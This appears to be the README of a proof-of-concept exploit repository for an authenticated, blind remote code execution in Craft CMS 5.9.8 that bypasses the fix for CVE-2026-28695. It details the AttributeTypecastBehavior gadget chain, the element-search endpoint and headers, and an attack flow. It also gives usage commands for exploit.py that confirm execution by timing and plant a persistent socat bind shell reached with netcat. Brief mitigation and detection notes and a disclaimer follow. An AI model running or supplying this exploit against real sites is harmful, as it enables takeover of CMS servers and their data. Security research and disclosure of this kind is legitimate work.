Authenticated, **blind** remote code execution in Craft CMS. Fix for CVE-2026-28695
element-search)CVSS 3.x : 8.8 HIGH (approx — verify)
CWE : CWE-502 (Unsafe Object Instantiation) + CWE-1336 (SSTI origin)
Base : CVE-2026-28695 (SSTI via create() + Symfony Process)
Fix : advisory fix e31e508 (restricts create() to BaseObject) — BYPASSED here
Affects : Craft CMS ≤ 5.9.8 with the CVE-2026-28695 fix applied
Authenticated, blind remote code execution in Craft CMS. The official fix for
CVE-2026-28695 only restricts create() to yii\base\BaseObject subclasses. The
yii\behaviors\AttributeTypecastBehavior gadget is a BaseObject yet still reaches a
call_user_func() sink, so it survives the filter. Delivered through the non-Twig
admin/actions/element-search/search action, it also side-steps CRAFT_ENABLE_TWIG_SANDBOX.
A Content Editor account is enough.
Craft's element-search controller deserialises attacker JSON into live PHP objects via
Yii's Craft::createObject() / Instance machinery. By attaching an AttributeTypecastBehavior
whose attributeTypes maps an attribute to the callable [Psy\Readline\Hoa\ConsoleProcessus, execute]
and firing the beforeSave event, the typecast becomes:
call_user_func([Psy\Readline\Hoa\ConsoleProcessus, "execute"], "<CMD>")
The endpoint always answers HTTP 500 and returns no command output — execution is blind.
create() + Symfony Process, reached from a Twig sink
(typically Entry Types → Title Format).e31e508 restricts create() to BaseObject subclasses, and
the target also runs with CRAFT_ALLOW_ADMIN_CHANGES=false (settings → 403) and
CRAFT_ENABLE_TWIG_SANDBOX=true. The documented vector is triple-closed.yii\behaviors\AttributeTypecastBehavior -> Psy\Readline\Hoa\ConsoleProcessus::execute
Double bypass, by construction:
element-search is a PHP object path, not a Twig render.
CRAFT_ENABLE_TWIG_SANDBOX only gates the template engine, so it never applies.create() to BaseObject. AttributeTypecastBehavior
→ yii\base\Behavior → yii\base\BaseObject, so it satisfies the new constraint
while still offering an execution sink. The fix closes one family of classes, not the
BaseObject class.Endpoint:
POST /index.php?p=admin/actions/element-search/search
X-CSRF-Token: <dashboard csrf>
X-Requested-With: XMLHttpRequest
Accept: application/json
Hoa\ConsoleProcessus::execute() runs the command through escapeshellcmd():
| && ; > < $() ' " → no chaining, no pipes, no redirection, no
classic bash reverse shell.: , /This is why the payload is a single socat TCP-LISTEN,fork EXEC bind shell (args in
: / , / /) rather than a reverse shell.
Attacker (Content Editor) Craft CMS 5.9.8
| |
| GET /admin/login (scrape CSRF) |
|--------------------------------------->|
| POST users/login (jenny:******) |
|--------------------------------------->|
| GET /admin/dashboard (JS csrf) |
|<---------------------------------------|
| POST element-search/search |
| AttributeTypecastBehavior gadget |
| typecastBeforeSave = "<CMD>" |
|--------------------------------------->| call_user_func(
| HTTP 500 (blind, no output) | [ConsoleProcessus,execute], CMD)
|<---------------------------------------| -> escapeshellcmd(CMD) -> exec
| |
| oracle: "sleep 5" -> +~5s latency |
| shell: socat TCP-LISTEN:4445 bind |
| Status | Versions |
|---|---|
| Vulnerable | Craft CMS ≤ 5.9.8 with the CVE-2026-28695 fix |
| Note | The gadget requires an authenticated CP session |
| File | Role |
|---|---|
exploit.py | PoC: login → timing-oracle check → single cmd → bind shell |
README.md | This file |
Requires requests (pip install requests).
# 1. Prove code execution (timing oracle: sleep 5 must add ~5s)
python3 exploit.py http://example.lab --check
# 2. Fire a single blind command (one binary + args, no metachars)
python3 exploit.py http://example.lab "sleep 5"
# 3. Plant a persistent bind shell as the web user, then connect
python3 exploit.py http://example.lab --bind 4445
nc IP or exemple.lab 4445
# custom creds
python3 exploit.py http://exemple.lab -u User -p 'SecureP4$$!' --bind
What happens:
AttributeTypecastBehavior gadget to element-search.--check proves blind exec by injected latency; --bind drops a socat listener.create()), and audit element-search condition handling.CRAFT_ALLOW_ADMIN_CHANGES=false and minimise Content Editor privileges — auth is
the only precondition here.psy/psysh (Hoa) dependency where a ConsoleProcessus::execute
gadget is reachable.element-search/search bodies containing __class, as rce, or
AttributeTypecastBehavior; flag bursts of HTTP 500 from that action.e31e508 (create() → BaseObject restriction)AttributeTypecastBehavior / yii\base\Security docsThis project is for authorized security testing, education, and defensive research only. You are responsible for complying with applicable laws and the rules of engagement of your lab or client.